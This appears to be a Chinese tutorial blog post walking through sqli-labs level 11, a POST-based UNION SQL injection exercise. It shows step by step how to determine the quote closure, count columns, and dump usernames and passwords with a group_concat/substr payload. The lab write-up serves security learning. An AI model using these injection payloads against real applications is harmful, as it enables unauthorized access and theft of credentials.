当前位置: 首页 > news >正文

sqli-labs靶场 less 11

文章目录

  • sqli-labs靶场
    • less 11 POS联合注入


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 11 POS联合注入

  • 题目类型:

细节:
Post输入框中,–+注释符不起作用,#注释符可以用

判断闭合方式
输入uname= a’ 提示报错 ‘‘1’’ and password=‘’ LIMIT 0,1’
根据报错得到,and连接用户名和密码
在这里插入图片描述

uname=1’–+ 没有提示报错,说明闭合成功,所以闭合方式是单引号
在这里插入图片描述
判断列数

uname=1’order+by+3–+
在这里插入图片描述
uname=1’order+by+2–+
无报错,说明该页面sql语句查询返回的字段数是二列
在这里插入图片描述

uname=1’union+select+1,2–+
在这里插入图片描述
联合注入报数据
uname=1’union+select+1,(select+substr((group_concat(username,password)),1,32)+from+users)–+
通过substr截取出全部数据
在这里插入图片描述

http://www.dtcms.com/a/99945.html

相关文章:

  • Qt warning LNK4042: 对象被多次指定;已忽略多余的指定
  • 机器学习的一百个概念(3)上采样
  • 创作领域“<em >一</em><em>分</em><em>快</em><em>3</em><em>官</em><em>网
  • Java 8 时区与历法处理指南:跨越全球的时间管理
  • Day50 单词规律
  • 小智机器人相关函数解析,BackgroundTask::Schedule (***)将一个回调函数添加到后台任务队列中等待执行
  • 多人协同进行qt应用程序开发应该注意什么?
  • ai画图flux redux图像文本双重引导生成。
  • Axios 相关的面试题
  • 注入工具SQLMAPTamper 编写指纹修改高权限操作目录架构
  • Nginx实现动静分离配置
  • JavaScript 网页开发设计案例:构建动态看板任务管理器 (Kanban Board)
  • 飞致云荣获“Alibaba Cloud Linux最佳AI镜像服务商”称号
  • GPT-4o 原生图像生成技术解析:从模型架构到吉卜力梦境的实现
  • 代码规范之空行思路和原则
  • python虚拟环境使用
  • 1500 字节 MTU | 溯源 / 技术权衡 / 应用影响
  • 代码随想录刷题day56|(回溯算法篇)46.全排列(非去重)、47.全排列 II(去重)
  • UE4学习笔记 FPS游戏制作32 主菜单,暂停游戏,显示鼠标指针
  • 学习threejs,使用Sprite精灵、SpriteMaterial精灵材质
  • 前端全局编程和模块化编程
  • [笔记.AI]大模型训练 与 向量值 的关系
  • vue3 + ant-design-vue4实现Select既可以当输入框也可以实现下拉选择
  • sqli-labs学习记录8
  • Spring 项目中跨数据源(多数据源)调用时 @DS 注解失效或不生效
  • Nginx RTMP 接收模块分析 (ngx_rtmp_receive.c)
  • 【数学建模】(智能优化算法)元胞自动机在数学建模中的应用
  • 第十四节 MATLAB决策制定、MATLAB if 语句语法
  • MATLAB 控制系统设计与仿真 - 30
  • Java简单生成pdf